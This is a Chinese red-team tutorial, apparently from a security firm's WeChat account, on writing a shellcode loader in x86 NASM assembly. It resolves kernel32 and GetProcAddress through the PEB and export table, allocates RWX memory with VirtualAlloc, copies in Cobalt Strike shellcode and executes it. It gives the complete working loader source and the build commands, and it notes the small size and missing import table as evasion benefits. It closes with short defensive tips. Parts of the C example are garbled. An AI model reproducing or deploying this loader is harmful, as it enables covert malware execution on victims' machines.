一、环境准备
关于汇编ide,最开始笔者使用的是vs的内联汇编来调试。后面发现它非常的不方便,只能支持masm,而笔者要写是nasm。最后在github上找到了SASM。下载的时候选择SASMSetup.exe。
安装好后,要重新设置汇编器路径与链接器路径。nasm.exe和gcc.exe都在sasm路径下。
二、定位DLL基址
在汇编语言中,如果想调用Windows API,首先需要定位此函数所在的dll地址。既然编写shellcode加载器,那么我们这里直接定位`VirtualAlloc`。通过查询msdn,可知`VirtualAlloc`在`Kernel32.dll`中。定位流程如下:
1.通过FS寄存器取得PEB地址
2.取得 PEB_LDR_DATA 地址
3.取得 InInitializationOrderModuleList 地址
4.取得 kernel32.dll 的 Base Address
*关于PEB的相关知识,各位可移步参考文章:
PEB结构:获取模块kernel32基址技术及原理分析
https://bbs.pediy.com/thread-266678.htm
*左右滑动查看更多
下面的代码,通过遍历InInitializationOrderModuleList可直接看到dll的加载顺序:
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
定义peb结构
//processhacker.sourceforge.io/doc/ntpsapi_8h_source.html#l00063 :
typedef struct _PEB_LDR_DATA
{
ULONG Length;
BOOLEAN Initialized;
HANDLE SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID EntryInProgress;
BOOLEAN ShutdownInProgress;
HANDLE ShutdownThreadId;
* PPEB_LDR_DATA;
//processhacker.sourceforge.io/doc/ntpebteb_8h_source.html#l00008 :
typedef struct _PEB
{
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
union
{
BOOLEAN BitField;
struct
{
BOOLEAN ImageUsesLargePages : 1;
BOOLEAN IsProtectedProcess : 1;
BOOLEAN IsImageDynamicallyRelocated : 1;
BOOLEAN SkipPatchingUser32Forwarders : 1;
BOOLEAN IsPackagedProcess : 1;
BOOLEAN IsAppContainer : 1;
BOOLEAN IsProtectedProcessLight : 1;
BOOLEAN SpareBits : 1;
};
};
HANDLE Mutant;
PVOID ImageBaseAddress;
Ldr;
//...
PEB, * PPEB;
typedef struct
{
USHORT Length;
USHORT MaximumLength;
PWCH Buffer;
}UNICODE_STRING;
//processhacker.sourceforge.io/doc/ntldr_8h_source.html#l00102 :
typedef struct _LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
union
{
LIST_ENTRY InInitializationOrderLinks;
LIST_ENTRY InProgressLinks;
};
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
//...
* PLDR_DATA_TABLE_ENTRY;
int main()
{
32位fs:[0x30]
peb = (PEB*)__readfsdword(0x30);;
ldr = peb->Ldr;
头指针
moduleList = &ldr->InInitializationOrderModuleList;
头结点
list = moduleList->Flink;
PVOID hKernel32 = NULL;
while (list != moduleList)
{
pEntry = (LDR_DATA_TABLE_ENTRY*)((BYTE*)list - 2 * sizeof(LIST_ENTRY));
pEntry->FullDllName.Buffer);
list = list->Flink;
}
}
*左右滑动查看更多
可看到第一个dll是ntdll.dll,第二个是KERNELBASE.dll,第三个是KERNEL32.DLL:
定位kernel32.dll基址的汇编代码:
mov ebx, [fs:0x30] ; EBX = PEB
mov ebx, [ebx + 0xc] ; EBX = PEB->ldr
mov ebx, [ebx + 0x1C] ; EBX = PEB->ldr.InInitializationOrderModuleList = ntdll.dll
mov ebx, [ebx] ; EBX = kernelbase.dll
mov ebx, [ebx] ; EBX = kernel32.dll
mov ebx, [ebx + 0x8] ; EBX = Base address
*左右滑动查看更多
解释一下上面的代码,[fs:0x30] 指向的就是PEB地址。
再通过VERGILIUS,查询PEB结构定义,得知PEB地址偏移0xc定位到PEB_LDR_DATA:
继续偏移0x1C,定位到InInitializationOrderModuleList,同时也定位到了ntdll.dll:
LIST_ENTRY是一个链表,再遍历链表成员的Flink两次,第一次[ebx]定位到kernelbase.dll,第二次[ebx]定位到kernel32.dll:
同时LIST_ENTRY又是LDR_DATA_TABLE_ENTRY结构的成员,而我们最开始是通过遍历InInitializationOrderLinks来获取信息的,所以此时真正的位置是在LDR_DATA_TABLE_ENTRY.InInitializationOrderLinks=0x10,而0x18是dll的基址,0x18-0x10=0x8。这也是[ebx + 0x8]就能定位到dll基址的原因。
下个断点,进行调试,ebx=0x77300000,和下图获取到的kernel32.dll基址一样,说明代码没有问题。
三、定位函数地址
接下来就是解析PE,需要读者必须深入了解PE结构,才能看懂下面的代码和流程:
1.取得NT Header地址
2.取得 Export table 地址
3.取得 AddressOfNameOrdinals
4.取得目标函数地址
定位到导入表RVA:
mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanew
add edx, ebx ; EDX = PE Header
mov edx, [edx + 0x78] ; EDX = Offset export table
add edx, ebx ; EDX = Export table
*左右滑动查看更多
导入表的RVA=edx=0x92240:
分析C:WindowsSysWOW64kernel32.dll的PE结构,可看到导出表的RVA一样是0x92240:
接下来先找到 GetProcAddress 函数地址:
mov esi, [edx + 0x20] ; ESI = Offset namestable
add esi, ebx ; ESI = Names table
xor ecx, ecx ; EXC = 0
mov eax, ebx
Get_Function:
inc ecx ; Increment the ordinal
lodsd ; Get name offset
add eax, ebx ; Get function name
cmp dword [eax], 0x50746547 ; GetP
jnz Get_Function
cmp dword [eax + 0x4], 0x41636f72 ; rocA
jnz Get_Function
cmp dword [eax + 0x8], 0x65726464 ; ddre
jnz Get_Function
mov esi, [edx + 0x24] ; ESI = Offset ordinals
add esi, ebx ; ESI = Ordinals table
mov cx, [esi + ecx * 2] ; Number of function
dec ecx
mov esi, [edx + 0x1c] ; Offset address table
add esi, ebx ; ESI = Address table
mov edx, [esi + ecx * 4] ; EDX = Pointer(offset)
add edx, ebx ; EDX = GetProcAddress
*左右滑动查看更多
GetProcAddress函数地址 = edx = 0x77315f20。
|
我们不直接定位`VirtualAlloc`,而是先获取到`GetProcAddress`的原因在于,后面就可以调用`GetProcAddress`来帮助我们找到想要的函数地址。
插句题外话,在导出表中可看到`GetProcAddress`RVA为0x15F20,而前面获取到的kernel32.dll基址=0x77300000。那么`GetProcAddress`的真正函数地址=0x15F20+0x77300000=0x77315F20。
`GetProcAddress`函数定义如下:
FARPROC GetProcAddress(
[in] HMODULE hModule,
[in] LPCSTR lpProcName
);
windows调用API传递参数都是从右向左传递,因此第一个要传递的参数是`lpProcName`,即函数名称。将字符串压入栈中,最后再压入esp寄存器,代表字符串传参完毕:
Get VirtualAlloc Address
push 0
push dword 0x636F6C6C ; lloc
push dword 0x416C6175 ; ualA
push dword 0x74726956 ; Virt
push esp
push ebx ; Kernel32.DLL Base Addr
call edx ; GetProcAddress Addr
*左右滑动查看更多
当函数调用成功后,返回值存放在EAX寄存器,EAX=0x77315ED0:
|
|
四、执行shellcode
调用VirtualAlloc:
EAX = VirtualAlloc Address
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x1000 ; shellcode size
push 0 ; NULL
call eax ; VirtualAlloc Addr
*左右滑动查看更多
成功在0x20000开辟了RWX属性的空间:
|
|
定义一个数据段,来存放我们的shellcode,将cs生成的32位shellcode放到对应的位置:
section .data
shellcode db 0xfc, 0xe8, 0x89 ; put shellcode here
len equ $ - shellcode ; Get shellcode Size
*左右滑动查看更多
将shellcode复制到我们申请的内存中去:
Copy Shellcode to Memory
mov ecx, len
mov esi, shellcode
mov edi, eax
cld
rep movsb
shellcode成功复制了过去:
|
最后一步,`call eax`执行shellcode,上线cs:
|
五、完整代码
runshellcode.asm
%include "io.inc"
global CMAIN
section .data
shellcode db 0xfc, 0xe8, 0x89 ; put shellcode here
len equ $ - shellcode ; Get shellcode Size
section .text
CMAIN:
mov ebx, [fs:0x30] ; EBX = PEB
mov ebx, [ebx + 0xc] ; EBX = PEB->ldr
mov ebx, [ebx + 0x1C] ; EBX = PEB->ldr.InInitializationOrderModuleList = ntdll.dll
mov ebx, [ebx] ; EBX = kernelbase.dll
mov ebx, [ebx] ; EBX = kernel32.dll
mov ebx, [ebx + 0x8] ; EBX = Base address
mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanew
add edx, ebx ; EDX = PE Header
mov edx, [edx + 0x78] ; EDX = Offset export table
add edx, ebx ; EDX = Export table
mov esi, [edx + 0x20] ; ESI = Offset namestable
add esi, ebx ; ESI = Names table
xor ecx, ecx ; EXC = 0
mov eax, ebx
Get_Function:
inc ecx ; Increment the ordinal
lodsd ; Get name offset
add eax, ebx ; Get function name
cmp dword [eax], 0x50746547 ; GetP
jnz Get_Function
cmp dword [eax + 0x4], 0x41636f72 ; rocA
jnz Get_Function
cmp dword [eax + 0x8], 0x65726464 ; ddre
jnz Get_Function
mov esi, [edx + 0x24] ; ESI = Offset ordinals
add esi, ebx ; ESI = Ordinals table
mov cx, [esi + ecx * 2] ; Number of function
dec ecx
mov esi, [edx + 0x1c] ; Offset address table
add esi, ebx ; ESI = Address table
mov edx, [esi + ecx * 4] ; EDX = Pointer(offset)
add edx, ebx ; EDX = GetProcAddress
EDX = GetProcAddress
EBX = Kernel32.DLL Base Addr
Get VirtualAlloc Address
push 0
push dword 0x636F6C6C ; lloc
push dword 0x416C6175 ; ualA
push dword 0x74726956 ; Virt
push esp
push ebx ; Kernel32.DLL Base Addr
call edx ; GetProcAddress Addr
EAX = VirtualAlloc Address
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x1000 ; shellcode size
push 0 ; NULL
call eax ; VirtualAlloc Addr
Copy Shellcode to Memory
mov ecx, len
mov esi, shellcode
mov edi, eax
cld
rep movsb
Exec shellcode
call eax
ret
*左右滑动查看更多
六、编译
如果使用SASM自带的gcc编译器,生成的exe会非常大:
|
而汇编语言生成的目标文件经过链接后的体积非常小,使用nasm汇编器进行汇编:
nasm -f win32 runshellcode.asm
*左右滑动查看更多
|
生成Obj文件后,使用VS Link 链接器进行编译:
link.exe /OUT:"runshellcode.exe" /MACHINE:X86 /SUBSYSTEM:WINDOWS /NOLOGO /TLBID:1 /ENTRY:CMAIN .runshellcode.obj
*左右滑动查看更多
|
小才是汇编的精髓,仅有3.5KB!
|
七、防范建议
防范建议:
-
观察程序体积,如果体积过小,很有可能是木马程序。
-
查看pe的数据表:一个exe如果没有导入表其实是非常奇怪的,而使用汇编做的木马,通常都没有导入表。
-
考虑针对CS本身的协议特征和攻击源威胁情报,及时更新基于流量、终端等检测手段。
-
对于社工类样本投递攻击,及时更新基于沙箱类安全产品的样本分析能力,并多做人员安全意识培训。
-
对于任何有网络请求的可执行文件都应该保持警惕,特别是在攻防演练期间。
推荐阅读及参考文章:
PEB结构:获取模块kernel32基址技术及原理分析
https://bbs.pediy.com/thread-266678.htm
欢迎来到实力至上主义的 Shellcode (上) - Windows x86 Shellcode
https://ithelp.ithome.com.tw/articles/10269530
欢迎来到实力至上主义的 Shellcode (下) - Windows x86 Shellcode
https://ithelp.ithome.com.tw/articles/10270253
静态恶意代码逃逸(第十一课)- 汇编语言编写Shellcode加载器
https://payloads.online/archivers/2022-02-16/1/
*左右滑动查看更多
— 往期回顾 —
原文始发于微信公众号(安恒信息安全服务):九维团队-红队(突破)| 汇编语言加载shellcode
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论